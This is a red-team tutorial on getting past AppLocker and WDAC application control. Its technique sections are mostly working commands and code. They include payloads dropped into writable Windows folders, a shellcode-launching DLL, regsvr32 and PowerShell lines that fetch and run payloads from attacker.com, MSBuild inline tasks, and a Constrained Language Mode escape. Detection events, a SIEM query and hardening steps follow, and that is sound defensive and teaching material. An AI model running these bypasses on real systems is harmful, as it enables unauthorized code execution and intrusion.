
AppLocker and WDAC Bypass Techniques
AppLocker and Windows Defender Application Control bypass methods, covering trusted folder abuse, LOLBAS proxy execution and Constrained Language Mode escape.
Introduction
AppLocker and Windows Defender Application Control (WDAC) are both application whitelisting, enforced in different places. AppLocker is enforced in user mode by the Application Identity service (AppIDSvc) and evaluated at process creation. It is rule-based (path, publisher, hash) and configured per GPO. WDAC is enforced in the kernel by Code Integrity (CI.dll), which makes it much harder to bypass. Both still leave gaps.
AppLocker's weakness is path rules. Most enterprise deployments allow execution from C:\Windows\* and C:\Program Files\*, because blocking those paths breaks legitimate software. Some subdirectories inside the allowed paths are writable by standard users (C:\Windows\Tasks, C:\Windows\Tracing, C:\Windows\Registration\CRMLog), so you can drop a binary into a trusted location without admin rights. DLL rules are also off by default, so any allowed EXE that loads a DLL from a path you control will run your code.
WDAC leaves less to work with. The gaps are COM objects, MSBuild inline tasks, and the boundary between user-mode and kernel enforcement. Which policy is active, and how it was configured, decides which path applies. Either way the aim is arbitrary code execution that still looks like it stays inside the policy.
Authorized use only
These techniques are for authorized penetration tests and red team engagements. Bypassing application control without explicit written authorization is a criminal offense under computer fraud statutes.
Impact
- On a misconfigured system, a standard user can bypass application whitelisting completely.
- A PowerShell CLM escape gives unrestricted script execution from a locked-down session.
- With DLL rules off, unsigned DLLs load through any allowed EXE.
- LOLBAS proxy execution satisfies path and publisher rules while running arbitrary code.
- Scheduled tasks and startup entries can persist from writable
C:\Windows\subdirectories. - A copy of the WDAC policy shows the exact rule gaps before you act.
Technical details
Enumerate AppLocker policy
Pull the effective AppLocker policy from the local machine. It shows which rule collections are active and what they allow.
Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollectionsFor a structured view including rule conditions:
Get-AppLockerPolicy -Effective -Xml | Out-File C:\Users\Public\applocker_policy.xmlLook for:
- Path rules with wildcards (
%WINDIR%\*,%PROGRAMFILES%\*). These are your trusted folder targets. - Publisher rules, which pin a publisher name, product name and minimum version.
- Hash rules. They are the hardest to bypass, but rare in large deployments.
- Which rule collections are enabled: Exe, Dll, Script, MSI, Appx. DLL rules are off by default.
Check whether DLL enforcement is enabled:
(Get-AppLockerPolicy -Effective).RuleCollections | Where-Object { $_.RuleCollectionType -eq 'Dll' }An empty result means DLL rules are not configured, so unsigned DLLs load freely through any allowed EXE.
Identify writable trusted paths
Most AppLocker policies allow the whole Windows directory with %WINDIR%\*. Enumerate the writable paths inside it:
accesschk.exe -uwdq "C:\Windows" /accepteula 2>nulCommon writable paths on default Windows installations (no admin required):
C:\Windows\Tasks
C:\Windows\Tracing
C:\Windows\Registration\CRMLog
C:\Windows\System32\FxsTmp
C:\Windows\System32\Tasks\Microsoft\Windows\PLA\System
C:\Windows\SysWOW64\Tasks
C:\Windows\Temp (variable, depends on ACL hardening)Drop a payload and execute:
copy payload.exe C:\Windows\Tasks\update.exe
C:\Windows\Tasks\update.exeThis works because the path C:\Windows\Tasks\update.exe matches the %WINDIR%\* allow rule.
DLL side-loading through allowed EXEs
With DLL rules disabled (the default), any executable AppLocker allows can load your DLL. Find EXEs that load DLLs without a fully qualified path:
procmon.exe /Quiet /Minimized /BackingFile C:\tmp\trace.pmlFilter for Result is NAME NOT FOUND and Path ends with .dll. These are DLLs the process tries to load and cannot find. Drop your DLL into the search path.
C:\Program Files\Common Files\microsoft shared\ is a dependable static target because many applications search it. Compile a DLL with the expected export:
// Compile: x86_64-w64-mingw32-gcc -shared -o target.dll loader.c
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE h, DWORD reason, LPVOID r) {
if (reason == DLL_PROCESS_ATTACH)
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Shellcode, NULL, 0, NULL);
return TRUE;
}LOLBAS proxy execution
Living-off-the-land binaries pass AppLocker publisher and path rules because they are signed Microsoft binaries in %WINDIR%\System32\. Three that work consistently:
regsvr32 scriptlet execution (T1218.010):
regsvr32.exe /s /n /u /i:http://attacker.com/payload.sct scrobj.dllThe .sct file is a COM scriptlet (XML with a <script> tag) that runs JScript or VBScript. AppLocker allows it because regsvr32.exe is a trusted Microsoft binary.
MSBuild inline task execution (T1127.001):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe payload.csproj<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Execute">
<ClassicTask />
</Target>
<UsingTask TaskName="ClassicTask" TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System; using Microsoft.Build.Framework; using Microsoft.Build.Utilities;
public class ClassicTask : Task {
public override bool Execute() {
System.Diagnostics.Process.Start("cmd.exe", "/c whoami > C:\\Users\\Public\\out.txt");
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>InstallUtil (T1218.004):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U payload.exeThe /U flag calls the Uninstall() method of a class decorated with [RunInstaller(true)] without installing anything.
PowerShell Constrained Language Mode bypass
When AppLocker or WDAC is enforced, PowerShell drops to Constrained Language Mode (CLM). Confirm it:
$ExecutionContext.SessionState.LanguageMode
# ConstrainedLanguageCLM blocks Add-Type, COM objects, .NET method calls on non-approved types, and reflection. The bypass works because an assembly loaded into the process is not subject to CLM. It runs as full .NET and never goes through the PowerShell language engine.
Method 1, PSBypassCLM with a custom runspace:
Compile a C# executable (allowed by an AppLocker path rule) that creates a PowerShell runspace without CLM:
using System.Management.Automation;
using System.Management.Automation.Runspaces;
var rs = RunspaceFactory.CreateRunspace();
rs.Open();
// Runspace created outside constrained context runs in FullLanguage
var ps = PowerShell.Create();
ps.Runspace = rs;
ps.AddScript("IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')");
ps.Invoke();Method 2, PowerShell 2.0 downgrade:
The PowerShell 2.0 engine predates CLM and ignores application control constraints. If it is installed:
powershell.exe -Version 2 -Command "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"Check whether v2 is available: Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root
Method 3, .NET reflection from an allowed binary:
From a C# binary running in an allowed path, load a PowerShell assembly through reflection and invoke it without CLM constraints:
# This works from FullLanguage mode obtained via a custom runspace
[System.Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes("C:\Windows\Tasks\implant.dll"))
[Implant.Core]::Execute()WDAC policy enumeration
Before trying a WDAC bypass, find out which policy is active and how it is configured.
citool.exe ships with Windows 11 22H2 and Windows Server 2025:
citool.exe --list-policiesOn older systems, enumerate through WMI or the registry:
Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Control\CI\Policy"Active policies are binary .p7b or .cip files. Convert one to XML with ConvertTo-WDACCodeIntegrityPolicy from WDACTools. The built-in ConvertFrom-CIPolicy only goes the other way, from XML to binary.
# WDACTools from https://github.com/mattifestation/WDACTools
Import-Module .\WDACTools.psd1
ConvertTo-WDACCodeIntegrityPolicy -BinaryFilePath C:\Windows\System32\CodeIntegrity\SIPolicy.p7b -XmlFilePath policy.xmlInspect the XML for:
<Rules>: policy rules and option flags (audit or enforce mode, UMCI, HVCI)<FileRules>: allowed and denied file hashes and paths<Signers>: trusted signers and certificatesOptionvalues:0= Enabled:UMCI (user-mode enforcement),6= Unsigned System Integrity Policy allowed
If Enabled:Audit Mode Only is present, WDAC is logging and not blocking. Check the Microsoft-Windows-CodeIntegrity/Operational event log (Event ID 3076).
WDAC MSBuild and COM bypass
WDAC in user-mode enforcement (UMCI) checks code signing for EXEs and DLLs. MSBuild inline tasks compile to in-memory assemblies, and on unpatched configurations those do not get the same signing checks.
The MSBuild inline task technique (step 4) also works against many WDAC policies. System-wide COM objects that the WDAC file rules do not cover can be instantiated too:
$obj = [Activator]::CreateInstance([Type]::GetTypeFromProgID("WScript.Shell"))
$obj.Run("cmd.exe /c whoami > C:\Users\Public\out.txt", 0, $true)This works because, in many policy configurations, code integrity checks apply to PE images and not to COM activation paths.
For WDAC policies with Enabled:Allow Supplemental Policies, check whether you can enumerate or influence supplemental policy loading.
Attack tools
# Effective policy (all rule collections)
Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections
# Export XML for offline analysis
Get-AppLockerPolicy -Effective -Xml | Out-File .\applocker.xml
# Check if DLL rules are enforced
(Get-AppLockerPolicy -Effective).RuleCollections |
Where-Object { $_.RuleCollectionType -eq 'Dll' } |
Select-Object RuleCollectionType, EnforcementMode
# Test if a specific file would be allowed
Test-AppLockerPolicy -Path C:\Windows\Tasks\test.exe -User Everyone
# Find writable dirs in trusted paths (requires accesschk)
accesschk.exe -uwdq "C:\Windows" /accepteula 2>nul | Select-String "RW"
accesschk.exe -uwdq "C:\Program Files" /accepteula 2>nul | Select-String "RW"Detection
AppLocker bypass attempts generate these events:
| Event ID | Log | Description |
|---|---|---|
| 8003 | Microsoft-Windows-AppLocker/EXE and DLL | EXE/DLL blocked by AppLocker |
| 8004 | Microsoft-Windows-AppLocker/EXE and DLL | EXE/DLL would have been blocked (audit) |
| 8006 | Microsoft-Windows-AppLocker/Script | Script blocked |
| 8007 | Microsoft-Windows-AppLocker/Script | Script would have been blocked (audit) |
| 4688 | Security | Process creation, for parent/child anomalies |
WDAC violations:
| Event ID | Log | Description |
|---|---|---|
| 3076 | Microsoft-Windows-CodeIntegrity/Operational | Audit block (policy in audit mode) |
| 3077 | Microsoft-Windows-CodeIntegrity/Operational | Enforce block |
| 3089 | Microsoft-Windows-CodeIntegrity/Operational | Signature validation details |
Behavioral detections:
regsvr32.exemaking network connections or spawning child processes. This covers the/i:http://scriptlet path.MSBuild.exerun outside Visual Studio or a build pipeline, where the parent process is notdevenv.exe,cmd.exefrom a build script, or a CI agentInstallUtil.exewith/Uflag and no corresponding installer logmshta.exewith inline VBScript arguments- PowerShell Script Block Logging (Event 4104) records code run in a CLM bypass runspace. The compiled C# creates a new runspace, but 4104 still fires when the payload script runs PowerShell commands.
powershell.exe -Version 2, which has no legitimate administrative use in most environments- File write events (Sysmon Event ID 11) to
C:\Windows\Tasks\,C:\Windows\Tracing\,C:\Windows\Registration\CRMLog\from non-system processes
SIEM detection for trusted-path abuse:
(EventCode=4688 OR EventCode=1) AND
NewProcessName LIKE "C:\\Windows\\Tasks\\%" OR
NewProcessName LIKE "C:\\Windows\\Tracing\\%" OR
NewProcessName LIKE "C:\\Windows\\Registration\\CRMLog\\%"Remediation
AppLocker hardening
- Enable the DLL rule collection by adding
<DllRules>to the policy. It closes the DLL gap but needs testing so it does not break applications. - Replace wildcard path rules (
%WINDIR%\*) with explicit publisher rules for known-good software. That removes the writable trusted paths. - Audit writable directories inside allowed path trees with
icaclsoraccesschk, and removeUsersorEveryonewrite permissions on subdirectories underC:\Windows\ - Restrict
%WINDIR%\Microsoft.NET\Framework*\MSBuild.exe,InstallUtil.exe,regsvr32.exeandmshta.exewith publisher rules to specific approved uses, or block them if they are not needed - Disable PowerShell v2:
Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root
WDAC over AppLocker
Prefer WDAC. It is enforced in the kernel and does not depend on the Application Identity service running. WDAC with HVCI (Hypervisor-Protected Code Integrity) is harder again to get past:
- Use the
ConfigCImodule to build policies:New-CIPolicy,Merge-CIPolicy,ConvertFrom-CIPolicy - Start in audit mode (Event 3076) to baseline the environment before enforcing
- Deploy supplemental policies for per-application exceptions instead of widening the base policy
- Enable UMCI (user-mode code integrity). Without it, only kernel-mode code is checked.
- Block known LOLBAS with explicit deny rules in the WDAC policy (Microsoft publishes a recommended block list)
PowerShell hardening
- Enable Script Block Logging (Event 4104):
HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging→EnableScriptBlockLogging = 1 - Enable transcription logging, which captures all PowerShell input and output to a file
- Enforce Constrained Language Mode through WDAC. CLM enforced by AppLocker is easier to bypass.
- Deploy Just Enough Administration (JEA) for legitimate admin PowerShell use
References
MITRE ATT&CK techniques
- T1218 - System Binary Proxy Execution
- T1553 - Subvert Trust Controls
- T1059.001 - Command and Scripting Interpreter: PowerShell
Tools and documentation
- LOLBAS Project: living-off-the-land binary catalog
- WDACTools by mattifestation: PowerShell module for parsing WDAC policies
- citool.exe documentation: built-in CI policy management
- Microsoft WDAC Wizard: GUI policy builder
- AppLocker documentation
- Sysinternals AccessChk: permission enumeration
Next steps
EDR evasion techniques
Code that gets past application control still has to get past the EDR.
Living off the land binaries (LOLBAS)
More detail on the signed binaries used for proxy execution here.
AMSI bypass techniques
After escaping CLM, AMSI still scans what you run in PowerShell.
Windows privilege escalation
What to do with code execution once the policy no longer stops you.
AMSI Bypass Techniques for PowerShell and .NET
AMSI bypass methods (memory patching, reflection-based disabling and obfuscation) for running PowerShell and .NET payloads that the AV would otherwise block.
AV Evasion and Payload Obfuscation Techniques
Antivirus evasion covering shellcode encoding, PE manipulation, process hollowing, direct syscalls and sandbox checks.